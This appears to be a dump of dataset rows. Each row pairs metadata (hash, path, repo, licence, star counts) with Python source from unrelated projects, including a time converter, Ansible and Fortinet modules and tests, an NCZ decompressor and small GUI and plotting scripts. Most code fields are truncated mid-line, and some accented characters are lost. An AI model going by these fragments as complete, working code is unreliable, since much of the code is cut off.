This is a base implementation to load datasets for test and evaluation/benchmarking
purposes. We ... | 0 | 0 | 0 | 0 | 0 | 1,243 | 0 | 22 | 146 |
d9237e7eaef06daf5dd8781c0a576788cd7d7b5f | 622 | py | Python | sololearn/MilitaryTime/MilitaryTime.py | SneakyWizards/HackerRankSolutions | daf494e7775bb0de5afcfdcfd45aa73e6a950e0e | [
"RSA-MD"
] | 3 | 2020-01-08T18:33:11.000Z | 2022-02-08T00:38:26.000Z | sololearn/MilitaryTime/MilitaryTime.py | SneakyWizards/HackerRankSolutions | daf494e7775bb0de5afcfdcfd45aa73e6a950e0e | [
"RSA-MD"
] | null | null | null | sololearn/MilitaryTime/MilitaryTime.py | SneakyWizards/HackerRankSolutions | daf494e7775bb0de5afcfdcfd45aa73e6a950e0e | [
"RSA-MD"
] | 4 | 2020-08-08T22:02:23.000Z | 2022-02-07T17:40:15.000Z | #!/usr/bin/python
print(convert_time(input())) | 24.88 | 49 | 0.498392 | #!/usr/bin/python
def convert_time(time_string):
time_suffix = time_string[-2:].upper()
time = time_string[:-2].rstrip()
hour = int(time.split(":")[0])
minute = time.split(":")[1]
if time_suffix == "PM":
if hour == 12:
return str(hour) + ":" + minute
else:
... | 0 | 0 | 0 | 0 | 0 | 552 | 0 | 0 | 23 |
0f4026f7d61ee6918420a00d5abf49bfdf33e2d6 | 2,162 | py | Python | launch-hdb.py | pykello/hdb | 9de25d09febbcf4f54b7a62ddad9062d690d5a0a | [
"BSD-2-Clause"
] | null | null | null | launch-hdb.py | pykello/hdb | 9de25d09febbcf4f54b7a62ddad9062d690d5a0a | [
"BSD-2-Clause"
] | null | null | null | launch-hdb.py | pykello/hdb | 9de25d09febbcf4f54b7a62ddad9062d690d5a0a | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python
import argparse
import os
import sys
import time
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='HDB launch script')
parser.add_argument('instance_count', action='store', type=int)
parser.add_argument('node_count_max', action='store', type=int)
pars... | 24.568182 | 76 | 0.625347 | #!/usr/bin/env python
import argparse
import os
import socket
import sys
import time
from hdb import client
from hdb import main
import json
from daemon import Daemon
class HDBDaemon(Daemon):
def run(self):
main.main(self.args)
def set_args(self, args):
self.args = args
def is_port_open(a... | 0 | 0 | 0 | 107 | 0 | 633 | 0 | -14 | 226 |
1db62d71c34dfc2e31f64886559bc2c0e7de9cec | 15,826 | py | Python | infra/tools/bbroll/__main__.py | asdfghjjklllllaaa/infra | 8f63af54e46194cd29291813f2790ff6e986804d | [
"BSD-3-Clause"
] | 1 | 2020-11-11T06:25:13.000Z | 2020-11-11T06:25:13.000Z | infra/tools/bbroll/__main__.py | asdfghjjklllllaaa/infra | 8f63af54e46194cd29291813f2790ff6e986804d | [
"BSD-3-Clause"
] | 21 | 2020-09-06T02:41:05.000Z | 2022-03-02T04:40:01.000Z | infra/tools/bbroll/__main__.py | asdfghjjklllllaaa/infra | 8f63af54e46194cd29291813f2790ff6e986804d | [
"BSD-3-Clause"
] | null | null | null | # Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Updates buildbucket's swarming task templates.
To roll production template:
cd infradata/config/configs/cr-buildbucket
cit bbroll prod
To roll canary... | 31.400794 | 97 | 0.65582 | # Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Updates buildbucket's swarming task templates.
To roll production template:
cd infradata/config/configs/cr-buildbucket
cit bbroll prod
To roll canary... | 0 | 744 | 0 | 4,113 | 0 | 1,819 | 0 | 0 | 91 |
ef640d21fec00a233948c978a22e58f70dec616a | 1,458 | py | Python | Curso estadistica descriptiva/tests/representacion grafica/graficos.py | DarkShadow4/python | 4cd94e0cf53ee06c9c31e9272572ca9656697c30 | [
"MIT"
] | null | null | null | Curso estadistica descriptiva/tests/representacion grafica/graficos.py | DarkShadow4/python | 4cd94e0cf53ee06c9c31e9272572ca9656697c30 | [
"MIT"
] | null | null | null | Curso estadistica descriptiva/tests/representacion grafica/graficos.py | DarkShadow4/python | 4cd94e0cf53ee06c9c31e9272572ca9656697c30 | [
"MIT"
] | 1 | 2020-08-19T17:25:22.000Z | 2020-08-19T17:25:22.000Z | import matplotlib.pyplot as plt
import numpy as np
%matplotlib inline
# Ejercicio 1
n = 256
X = np.linspace(-np.pi, np.pi, n, endpoint=True)
Y = np.sin(2 * X)
plt.plot(X, Y + 1, color='blue', alpha=1.00)
plt.plot(X, Y - 1, color='blue', alpha=1.00)
plt.fill_between(X, Y + 1, 1, color = "blue", alpha=0.3)
plt.fill_bet... | 24.3 | 75 | 0.589163 | import matplotlib.pyplot as plt
import numpy as np
%matplotlib inline
# Ejercicio 1
n = 256
X = np.linspace(-np.pi, np.pi, n, endpoint=True)
Y = np.sin(2 * X)
plt.plot(X, Y + 1, color='blue', alpha=1.00)
plt.plot(X, Y - 1, color='blue', alpha=1.00)
plt.fill_between(X, Y + 1, 1, color = "blue", alpha=0.3)
plt.fill_bet... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
0cad762874a127689c9817eaa276325192afb276 | 7,048 | py | Python | ruddock/modules/hassle/helpers.py | calebsander/RuddockWebsite | e6497bfdecffdfb712c36085fa1df93d08380dd2 | [
"MIT"
] | 7 | 2015-01-31T20:07:23.000Z | 2020-04-11T16:36:08.000Z | ruddock/modules/hassle/helpers.py | calebsander/RuddockWebsite | e6497bfdecffdfb712c36085fa1df93d08380dd2 | [
"MIT"
] | 103 | 2015-01-01T08:31:41.000Z | 2022-02-14T06:17:58.000Z | ruddock/modules/hassle/helpers.py | mply/RuddockWebsite | 63f1f25da5bef842b5b2337592186f8e23c1803b | [
"MIT"
] | 8 | 2017-10-01T07:27:34.000Z | 2020-05-04T01:49:30.000Z | import flask
import sqlalchemy
alleys = [1, 2, 3, 4, 5, 6]
def get_all_members():
"""Gets all current members (potential hassle participants)."""
query = sqlalchemy.text("""
SELECT user_id, name, graduation_year,
member_type, membership_desc, user_id IN (
SELECT user_id FROM hassle_participants
... | 31.747748 | 86 | 0.703462 | import flask
import sqlalchemy
alleys = [1, 2, 3, 4, 5, 6]
def get_all_members():
"""Gets all current members (potential hassle participants)."""
query = sqlalchemy.text("""
SELECT user_id, name, graduation_year,
member_type, membership_desc, user_id IN (
SELECT user_id FROM hassle_participants
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
ac64a94843a192491f1c7fea8d20924e86ee47cb | 634 | py | Python | mapa_cidadao/mapa_cidadao/settings/utils.py | zokis/mapa_do_cidadao | abfbf79c5a1fcc3ee812e3f3f768c65a425e917c | [
"MIT"
] | 1 | 2015-06-15T13:44:55.000Z | 2015-06-15T13:44:55.000Z | mapa_cidadao/mapa_cidadao/settings/utils.py | zokis/mapa_do_cidadao | abfbf79c5a1fcc3ee812e3f3f768c65a425e917c | [
"MIT"
] | 1 | 2015-08-14T18:39:02.000Z | 2015-08-14T18:39:02.000Z | mapa_cidadao/mapa_cidadao/settings/utils.py | zokis/mapa_do_cidadao | abfbf79c5a1fcc3ee812e3f3f768c65a425e917c | [
"MIT"
] | null | null | null | # coding: utf-8
from ConfigParser import ConfigParser
OPT_DJANGO_CONF_APP = '/opt/django/configs/apps/mapa_cidadao.conf'
def read_config_file():
'''
tenta ler arquivo de configurao
Return: objeto do tipo ConfigParser
'''
config = ConfigParser()
config_file = None
try:
config_file... | 20.451613 | 66 | 0.660883 | # coding: utf-8
from ConfigParser import ConfigParser
OPT_DJANGO_CONF_APP = '/opt/django/configs/apps/mapa_cidadao.conf'
def gen_get_config_or(config):
def inner(section, option, default=None):
try:
return config.get(section, option)
except:
return default
return inner... | 4 | 0 | 0 | 0 | 0 | 175 | 0 | 0 | 23 |
60812a8b2a5a0528f928635273a329ba6111c79b | 4,503 | py | Python | plugins/modules/css_snapshot_info.py | OpenTelekomCloud/ansible_collections | 797c322d69a5403f9e1d041bab5e8effed045633 | [
"Apache-2.0"
] | null | null | null | plugins/modules/css_snapshot_info.py | OpenTelekomCloud/ansible_collections | 797c322d69a5403f9e1d041bab5e8effed045633 | [
"Apache-2.0"
] | 10 | 2020-02-26T15:12:58.000Z | 2020-06-22T23:10:00.000Z | plugins/modules/css_snapshot_info.py | OpenTelekomCloud/ansible_collections | 797c322d69a5403f9e1d041bab5e8effed045633 | [
"Apache-2.0"
] | 1 | 2020-06-22T12:35:12.000Z | 2020-06-22T12:35:12.000Z | #!/usr/bin/python
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# di... | 29.821192 | 89 | 0.536531 | #!/usr/bin/python
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# di... | 0 | 0 | 0 | 848 | 0 | 40 | 0 | 68 | 69 |
355e915443f91557ee562b3974483607ed48d86e | 155 | py | Python | 2663.py | heltonricardo/URI | 160cca22d94aa667177c9ebf2a1c9864c5e55b41 | [
"MIT"
] | 6 | 2021-04-13T00:33:43.000Z | 2022-02-10T10:23:59.000Z | 2663.py | heltonricardo/URI | 160cca22d94aa667177c9ebf2a1c9864c5e55b41 | [
"MIT"
] | null | null | null | 2663.py | heltonricardo/URI | 160cca22d94aa667177c9ebf2a1c9864c5e55b41 | [
"MIT"
] | 3 | 2021-03-23T18:42:24.000Z | 2022-02-10T10:24:07.000Z | n = int(input())
q = int(input())
v = []
for i in range(n):
v.append(int(input()))
v.sort(reverse=True)
h = v[q - 1:].count(v[q - 1]) - 1
print(q + h)
| 17.222222 | 33 | 0.529032 | n = int(input())
q = int(input())
v = []
for i in range(n):
v.append(int(input()))
v.sort(reverse=True)
h = v[q - 1:].count(v[q - 1]) - 1
print(q + h)
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
6b5b23fb57cd42ca9a844c888f62887c778a17e6 | 2,933 | py | Python | py/ztools/lib/decompressor.py | HerrTrigger/NSC_BUILDER | e9083e83383281bdd9e167d3141163dcc56b6710 | [
"MIT"
] | 828 | 2018-11-05T02:43:40.000Z | 2022-03-27T08:49:56.000Z | py/ztools/lib/decompressor.py | HerrTrigger/NSC_BUILDER | e9083e83383281bdd9e167d3141163dcc56b6710 | [
"MIT"
] | 141 | 2018-11-05T19:59:23.000Z | 2022-01-10T01:17:32.000Z | py/ztools/lib/decompressor.py | HerrTrigger/NSC_BUILDER | e9083e83383281bdd9e167d3141163dcc56b6710 | [
"MIT"
] | 119 | 2018-11-05T06:57:37.000Z | 2022-03-25T18:10:33.000Z | import sys
import Fs.Nsp as Nsp
import Fs.Xci as Xci
if len(sys.argv) < 3:
print('usage: decompress.py input.ncz output.nca')
| 24.040984 | 82 | 0.630753 | import sys
import zstandard
from Crypto.Cipher import AES
from Crypto.Util import Counter
import Fs.Nsp as Nsp
import Fs.Xci as Xci
import sq_tools
import Hex
from binascii import hexlify as hx, unhexlify as uhx
if len(sys.argv) < 3:
print('usage: decompress.py input.ncz output.nca')
def readInt64(f, by... | 0 | 0 | 0 | 673 | 0 | 1,728 | 0 | 27 | 370 |
2a4eaa20a58ae2529cb2d7913b5ec5989b182679 | 365 | py | Python | templates/django/__APPNAME__/apps/utils/handlers.py | ba1dr/tplgenerator | f05b6f9a32cf825d326dd2faf551d1e156d2df37 | [
"MIT"
] | null | null | null | templates/django/__APPNAME__/apps/utils/handlers.py | ba1dr/tplgenerator | f05b6f9a32cf825d326dd2faf551d1e156d2df37 | [
"MIT"
] | null | null | null | templates/django/__APPNAME__/apps/utils/handlers.py | ba1dr/tplgenerator | f05b6f9a32cf825d326dd2faf551d1e156d2df37 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
| 26.071429 | 81 | 0.528767 | # -*- coding: utf-8 -*-
def safe_handle_errors_log(logger, fname=None):
def wrapper(func):
def inner(*args, **kwargs):
try:
return func(*args, **kwargs)
except:
logger.exception("Function %s error!" % (fname or func.__name__))
return ... | 0 | 0 | 0 | 0 | 0 | 317 | 0 | 0 | 23 |
de36ef9af395fbfd883ca2b5a583e0413612a979 | 13,309 | py | Python | v6.0.5/system/test_fortios_system_ddns.py | fortinet-solutions-cse/ansible_fgt_modules | c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719 | [
"Apache-2.0"
] | 14 | 2018-09-25T20:35:25.000Z | 2021-07-14T04:30:54.000Z | v6.0.6/system/test_fortios_system_ddns.py | fortinet-solutions-cse/ansible_fgt_modules | c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719 | [
"Apache-2.0"
] | 32 | 2018-10-09T04:13:42.000Z | 2020-05-11T07:20:28.000Z | v6.0.5/system/test_fortios_system_ddns.py | fortinet-solutions-cse/ansible_fgt_modules | c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719 | [
"Apache-2.0"
] | 11 | 2018-10-09T00:14:53.000Z | 2021-11-03T10:54:09.000Z | # Copyright 2019 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the... | 36.969444 | 142 | 0.617702 | # Copyright 2019 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the... | 0 | 177 | 0 | 0 | 0 | 11,819 | 0 | 19 | 254 |
5aca73adf2466ca23282af6a7c1543b7d9697f28 | 4,146 | py | Python | wbia/web/extensions/__init__.py | WildMeOrg/wildbook-ia | a18d57611e5936bea02a964716466e062415aa1a | [
"Apache-2.0"
] | 20 | 2021-01-19T23:17:21.000Z | 2022-03-21T10:25:56.000Z | wbia/web/extensions/__init__.py | solomonkimunyu/wildbook-ia | ac433d4f2a47b1d905c421a36c497f787003afc3 | [
"Apache-2.0"
] | 16 | 2021-01-28T23:05:29.000Z | 2022-03-31T20:39:36.000Z | wbia/web/extensions/__init__.py | solomonkimunyu/wildbook-ia | ac433d4f2a47b1d905c421a36c497f787003afc3 | [
"Apache-2.0"
] | 9 | 2021-02-13T20:19:46.000Z | 2022-03-29T10:47:11.000Z | # -*- coding: utf-8 -*-
# pylint: disable=invalid-name,wrong-import-position,wrong-import-order
"""
Extensions setup
================
Extensions provide access to common resources of the application.
Please, put new extension instantiations and initializations here.
"""
from .logging import Logging
logging = Logging... | 26.240506 | 90 | 0.587795 | # -*- coding: utf-8 -*-
# pylint: disable=invalid-name,wrong-import-position,wrong-import-order
"""
Extensions setup
================
Extensions provide access to common resources of the application.
Please, put new extension instantiations and initializations here.
"""
import uuid # NOQA
import json # NOQA
from da... | 0 | 0 | 0 | 1,612 | 0 | 0 | 0 | 81 | 249 |
4606daa668854b77d33a880dfd67daac1ea16443 | 1,724 | py | Python | src/pms/sensors/honeywell/hpma115c0.py | LaudateCorpus1/PyPMS | a44a4ee5a41d5e8738e9ea1afc31d5ebc7a1a6f6 | [
"MIT"
] | 15 | 2019-08-25T04:25:41.000Z | 2022-02-08T16:51:35.000Z | src/pms/sensors/honeywell/hpma115c0.py | LaudateCorpus1/PyPMS | a44a4ee5a41d5e8738e9ea1afc31d5ebc7a1a6f6 | [
"MIT"
] | 22 | 2020-04-05T18:50:52.000Z | 2021-11-22T08:58:27.000Z | src/pms/sensors/honeywell/hpma115c0.py | LaudateCorpus1/PyPMS | a44a4ee5a41d5e8738e9ea1afc31d5ebc7a1a6f6 | [
"MIT"
] | 5 | 2020-10-07T21:08:36.000Z | 2022-02-08T07:03:46.000Z | """
Honeywell HPMA115C0 sensors
- passive mode messages are 16b long
- active mode messages are 32b long
"""
from .. import base
from . import hpma115s0
commands = hpma115s0.commands._replace(
passive_read=base.Cmd( # Read Particle Measuring Results
b"\x68\x01\x04\x93", b"\x40\x0d\x04", 16
)
)
| 27.806452 | 132 | 0.602668 | """
Honeywell HPMA115C0 sensors
- passive mode messages are 16b long
- active mode messages are 32b long
"""
from dataclasses import dataclass, field
from .. import base
from . import hpma115s0
commands = hpma115s0.commands._replace(
passive_read=base.Cmd( # Read Particle Measuring Results
b"\x68\x01\x0... | 12 | 1,221 | 0 | 93 | 0 | 0 | 0 | 19 | 69 |
2711762cc64856cbf268c21e986014cd53be963a | 2,601 | py | Python | chitti/nlp/pretrained_vectors.py | raja-1996/chitti | 2cd84c45fd0dbac625565c2f3a6b196a50d97396 | [
"MIT"
] | null | null | null | chitti/nlp/pretrained_vectors.py | raja-1996/chitti | 2cd84c45fd0dbac625565c2f3a6b196a50d97396 | [
"MIT"
] | null | null | null | chitti/nlp/pretrained_vectors.py | raja-1996/chitti | 2cd84c45fd0dbac625565c2f3a6b196a50d97396 | [
"MIT"
] | null | null | null |
if __name__ == '__main__':
download_pretrained_vectors('GloVe.6B.50d')
# EMBEDDING_FILE = '/Users/rajamohanreddybollavaram/Downloads/glove.6B/glove.6B.50d.txt'
# download_pretrained_vectors(EMBEDDING_FILE)
| 33.346154 | 152 | 0.698577 | import numpy as np
import pickle
import os
from os.path import join
from chitti.nlp.download_pretrained_vectors import download
def load_matrix(EMBEDDING_FILE):
def get_coefs(word, *arr):
return word, np.asarray(arr, dtype='float32')
embeddings_index = dict(get_coefs(*o.split(" ")) for o in open(EM... | 0 | 0 | 0 | 0 | 0 | 2,158 | 0 | 19 | 202 |
00fb5f43c230e663011596392c35b482c9a3e279 | 258 | py | Python | app.py | helderklemp/python_rest_app | b76e8beac4db693c75127bdfe596627d14b631e9 | [
"MIT"
] | null | null | null | app.py | helderklemp/python_rest_app | b76e8beac4db693c75127bdfe596627d14b631e9 | [
"MIT"
] | null | null | null | app.py | helderklemp/python_rest_app | b76e8beac4db693c75127bdfe596627d14b631e9 | [
"MIT"
] | null | null | null | from flask import Blueprint
from flask_restful import Api
from resources.Hello import Hello
from resources.Health import Health
api_bp = Blueprint('api', __name__)
api = Api(api_bp)
# Route
api.add_resource(Hello, '/')
api.add_resource(Health, '/health')
| 19.846154 | 35 | 0.775194 | from flask import Blueprint
from flask_restful import Api
from resources.Hello import Hello
from resources.Health import Health
api_bp = Blueprint('api', __name__)
api = Api(api_bp)
# Route
api.add_resource(Hello, '/')
api.add_resource(Health, '/health')
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3d1f63c6fe5cae8edfeedd5af96508722649d747 | 9,443 | py | Python | labtronyx/drivers/Chroma/Source.py | protonyx/labtronyx | e5f6ea306d7135f640e1a5f0cd7c3302facb911a | [
"MIT"
] | 4 | 2017-05-13T21:37:33.000Z | 2021-05-09T19:14:33.000Z | labtronyx/drivers/Chroma/Source.py | protonyx/labtronyx | e5f6ea306d7135f640e1a5f0cd7c3302facb911a | [
"MIT"
] | 21 | 2015-07-24T20:02:03.000Z | 2015-11-18T04:46:09.000Z | labtronyx/drivers/Chroma/Source.py | protonyx/labtronyx | e5f6ea306d7135f640e1a5f0cd7c3302facb911a | [
"MIT"
] | 3 | 2017-04-17T12:16:24.000Z | 2021-08-13T09:09:07.000Z | """
.. codeauthor:: Kevin Kennedy <protonyx@users.noreply.github.com>
Limitations
-----------
This driver does not include any of the device programming functionality,
it is assumed that an automated program would be designed in a script that
uses this driver.
"""
| 29.145062 | 92 | 0.522398 | """
.. codeauthor:: Kevin Kennedy <protonyx@users.noreply.github.com>
Limitations
-----------
This driver does not include any of the device programming functionality,
it is assumed that an automated program would be designed in a script that
uses this driver.
"""
import labtronyx
class d_620XXP(labtronyx.DriverBas... | 0 | 166 | 0 | 8,970 | 0 | 0 | 0 | -5 | 45 |
adf8adb9506dc0cc8991dcfe26d5195423fc9311 | 687 | py | Python | tests/test_fhirbase.py | nazrulworld/fhirpath | 3b819870c57a0befcac18916a4d03b64c0e202ca | [
"Apache-2.0"
] | 25 | 2019-05-14T13:35:32.000Z | 2022-02-21T23:03:35.000Z | tests/test_fhirbase.py | nazrulworld/fhirpath | 3b819870c57a0befcac18916a4d03b64c0e202ca | [
"Apache-2.0"
] | 29 | 2020-02-14T08:14:02.000Z | 2021-02-23T20:14:42.000Z | tests/test_fhirbase.py | nazrulworld/fhirpath | 3b819870c57a0befcac18916a4d03b64c0e202ca | [
"Apache-2.0"
] | 4 | 2020-06-30T08:05:54.000Z | 2021-08-09T19:10:35.000Z | # _*_ coding: utf-8 _*_
__author__ = "Md Nazrul Islam<email2nazrul@gmail.com>"
| 27.48 | 70 | 0.729258 | # _*_ coding: utf-8 _*_
import pytest
from psycopg2.extras import DictCursor
from ._utils import IS_TRAVIS
__author__ = "Md Nazrul Islam<email2nazrul@gmail.com>"
@pytest.mark.skipif(IS_TRAVIS, reason="ignore for travis environment")
def test_fhirbase_structure(init_fhirbase_pg, fhirbase_pg):
connection = init_... | 0 | 498 | 0 | 0 | 0 | 0 | 0 | 17 | 90 |
3ab98442e27a617f13b6b2db8670c5bf2b114c1e | 28,579 | py | Python | clinicgen/nli.py | evendrow/ifcc | ae6ea6f19028ba5d367c086fe94cfe4237829059 | [
"Apache-2.0"
] | 43 | 2020-10-21T03:25:21.000Z | 2022-03-26T08:13:06.000Z | clinicgen/nli.py | evendrow/ifcc | ae6ea6f19028ba5d367c086fe94cfe4237829059 | [
"Apache-2.0"
] | 8 | 2020-12-04T15:06:45.000Z | 2022-03-28T12:18:14.000Z | clinicgen/nli.py | evendrow/ifcc | ae6ea6f19028ba5d367c086fe94cfe4237829059 | [
"Apache-2.0"
] | 10 | 2020-11-13T03:46:09.000Z | 2022-02-05T21:39:52.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
| 45.7264 | 137 | 0.494244 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import gzip
import json
import os
import site
import sys
import time
import numpy as np
import pandas as pd
import torch
from collections import defaultdict, OrderedDict
from bert_score.utils import bert_cos_score_idf, cache_scibert, get_idf_dict, get_model, lang2model, mo... | 0 | 1,164 | 0 | 26,661 | 0 | 0 | 0 | 216 | 488 |
34bcf07879c606ee40ec54377026c31f938cc9fc | 1,989 | py | Python | src/data/make_dataset.py | erikbuunk/iris-cookiecutter | 9d934443d71a7521a50434a346a6b1cbd1b07dba | [
"MIT"
] | null | null | null | src/data/make_dataset.py | erikbuunk/iris-cookiecutter | 9d934443d71a7521a50434a346a6b1cbd1b07dba | [
"MIT"
] | null | null | null | src/data/make_dataset.py | erikbuunk/iris-cookiecutter | 9d934443d71a7521a50434a346a6b1cbd1b07dba | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import logging
from pathlib import Path
from dotenv import find_dotenv, load_dotenv
if __name__ == '__main__':
log_fmt = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'
logging.basicConfig(level=logging.INFO, format=log_fmt)
# not used in this stub but often useful for fin... | 37.528302 | 80 | 0.704877 | # -*- coding: utf-8 -*-
import click
import logging
from pathlib import Path
from dotenv import find_dotenv, load_dotenv
import os
import pandas as pd
from src.utilities.utilities import download_external
@click.command()
@click.argument('external_filepath', type=click.Path(exists=True))
@click.argument('raw_filepath... | 0 | 1,297 | 0 | 0 | 0 | 0 | 0 | 9 | 111 |
f99f4add0c4859e3757246243cd758dfa0474755 | 3,098 | py | Python | Proper/proper/prop_ptp.py | RupertDodkins/medis | bdb1f00fb93506da2a1f251bc6780e70e97a16c5 | [
"MIT"
] | 1 | 2021-06-25T17:35:56.000Z | 2021-06-25T17:35:56.000Z | Proper/proper/prop_ptp.py | RupertDodkins/medis | bdb1f00fb93506da2a1f251bc6780e70e97a16c5 | [
"MIT"
] | null | null | null | Proper/proper/prop_ptp.py | RupertDodkins/medis | bdb1f00fb93506da2a1f251bc6780e70e97a16c5 | [
"MIT"
] | 2 | 2018-12-08T15:05:13.000Z | 2019-08-08T17:28:24.000Z | # Copyright 2016, 2017 California Institute of Technology
# Users must agree to abide by the restrictions listed in the
# file "LegalStuff.txt" in the PROPER library directory.
#
# PROPER developed at Jet Propulsion Laboratory/California Inst. Technology
# Original IDL version by John Krist
# Python transla... | 28.953271 | 110 | 0.608457 | # Copyright 2016, 2017 California Institute of Technology
# Users must agree to abide by the restrictions listed in the
# file "LegalStuff.txt" in the PROPER library directory.
#
# PROPER developed at Jet Propulsion Laboratory/California Inst. Technology
# Original IDL version by John Krist
# Python transla... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
d260748eaa57b8f1f098a51648320d1551d1cedd | 2,497 | py | Python | Word_2_Pdf.py | Addyty/Word-to-Pdf-Converter | 93eb231fba9ba426b9827531e4c59a8a99eb9cc2 | [
"Apache-2.0"
] | null | null | null | Word_2_Pdf.py | Addyty/Word-to-Pdf-Converter | 93eb231fba9ba426b9827531e4c59a8a99eb9cc2 | [
"Apache-2.0"
] | null | null | null | Word_2_Pdf.py | Addyty/Word-to-Pdf-Converter | 93eb231fba9ba426b9827531e4c59a8a99eb9cc2 | [
"Apache-2.0"
] | 1 | 2020-12-05T03:06:25.000Z | 2020-12-05T03:06:25.000Z | #import Library in module
#Define class for creating os_window.
if __name__ == '__main__':
root =Root()
root.mainloop()
| 37.833333 | 148 | 0.603124 | #import Library in module
from docx2pdf import convert
from tkinter import *
from tkinter import ttk
from tkinter import filedialog
import os
from random import randint
#Define class for creating os_window.
class Root(Tk):
def __init__(self):
super(Root,self).__init__()
self.title("Word... | 0 | 0 | 0 | 2,186 | 0 | 0 | 0 | 11 | 161 |
5418b2bdc3dee1eb9e2185544864ea980af89cd2 | 1,014 | py | Python | inkscapeMadeEasy-master/examples/iME_Draw_colorPicker.py | ilnanny/Inkscape-addons | a30cdde2093fa2da68b90213e057519d0304433f | [
"X11"
] | 3 | 2019-03-08T23:32:29.000Z | 2019-05-11T23:53:46.000Z | inkscapeMadeEasy-master/examples/iME_Draw_colorPicker.py | ilnanny/Inkscape-addons | a30cdde2093fa2da68b90213e057519d0304433f | [
"X11"
] | null | null | null | inkscapeMadeEasy-master/examples/iME_Draw_colorPicker.py | ilnanny/Inkscape-addons | a30cdde2093fa2da68b90213e057519d0304433f | [
"X11"
] | null | null | null | #!/usr/bin/python
if __name__ == '__main__':
x = myExtension()
x.affect()
| 39 | 140 | 0.725838 | #!/usr/bin/python
import inkex
import inkscapeMadeEasy_Base as inkBase
import inkscapeMadeEasy_Draw as inkDraw
class myExtension(inkBase.inkscapeMadeEasy):
def __init__(self):
inkex.Effect.__init__(self)
self.OptionParser.add_option("--tab", action="store", type="string", dest="tab", default="ob... | 0 | 0 | 0 | 812 | 0 | 0 | 0 | 27 | 90 |
f85a602872947fe0d8fa509a689d8b53537bb228 | 1,040 | py | Python | PARTE 1/semana_2/digitos.py | bruno-ba/USP-Introducao-a-Ciencia-da-Computacao-com-Python | 16ea90dbf581c9f6e1c7844d818ffc9d37babcd5 | [
"MIT"
] | null | null | null | PARTE 1/semana_2/digitos.py | bruno-ba/USP-Introducao-a-Ciencia-da-Computacao-com-Python | 16ea90dbf581c9f6e1c7844d818ffc9d37babcd5 | [
"MIT"
] | null | null | null | PARTE 1/semana_2/digitos.py | bruno-ba/USP-Introducao-a-Ciencia-da-Computacao-com-Python | 16ea90dbf581c9f6e1c7844d818ffc9d37babcd5 | [
"MIT"
] | null | null | null | """
Exerccio 3
Faa um programa em Python que recebe um nmero inteiro e imprime seu dgito das dezenas. Observe o exemplo abaixo:
Exemplo 1:
Entrada de Dados:
Digite um nmero inteiro: 78615
Sada de Dados:
O dgito das dezenas 1
Exemplo 2:
Entrada de Dados:
Digite um nmero inteiro: 2
Sada de Dado... | 20 | 240 | 0.671154 | """
Exercício 3
Faça um programa em Python que recebe um número inteiro e imprime seu dígito das dezenas. Observe o exemplo abaixo:
Exemplo 1:
Entrada de Dados:
Digite um número inteiro: 78615
Saída de Dados:
O dígito das dezenas é 1
Exemplo 2:
Entrada de Dados:
Digite um número inteiro: 2
Saí... | 38 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
1f83160c408dcdd3cd084f4feb473133caba2b71 | 9,572 | py | Python | misc/build-windows.py | marstau/shinsango | d9468787ae8e18fa478f936770d88e9bf93c11c0 | [
"BSD-3-Clause"
] | 1 | 2021-06-16T15:25:47.000Z | 2021-06-16T15:25:47.000Z | misc/build-windows.py | marstau/shinsango | d9468787ae8e18fa478f936770d88e9bf93c11c0 | [
"BSD-3-Clause"
] | null | null | null | misc/build-windows.py | marstau/shinsango | d9468787ae8e18fa478f936770d88e9bf93c11c0 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# start up windows vm
# some script should start on bootup and try to connect back to this script (through some port)
# this script should send commands for building the tree and creating the exe
# could also have a simple file transfer mechanism so I can get the exe without having to muck around... | 36.257576 | 150 | 0.571354 | #!/usr/bin/env python
# start up windows vm
# some script should start on bootup and try to connect back to this script (through some port)
# this script should send commands for building the tree and creating the exe
# could also have a simple file transfer mechanism so I can get the exe without having to muck around... | 0 | 0 | 0 | 20 | 0 | 7,179 | 0 | 0 | 138 |
8dd3e672c77961b9fbb3e9ae5a7bceb5ee2e16e3 | 733 | py | Python | RelativisticMechanicsModels/RelativisticEnergy.py | YummyPotatoPie/Physicsly | b35f8cc639172359f1dca9c86a5932423984ee88 | [
"MIT"
] | 2 | 2019-08-28T21:52:37.000Z | 2019-08-28T22:30:53.000Z | RelativisticMechanicsModels/RelativisticEnergy.py | YummyPotatoPie/Physicsly | b35f8cc639172359f1dca9c86a5932423984ee88 | [
"MIT"
] | null | null | null | RelativisticMechanicsModels/RelativisticEnergy.py | YummyPotatoPie/Physicsly | b35f8cc639172359f1dca9c86a5932423984ee88 | [
"MIT"
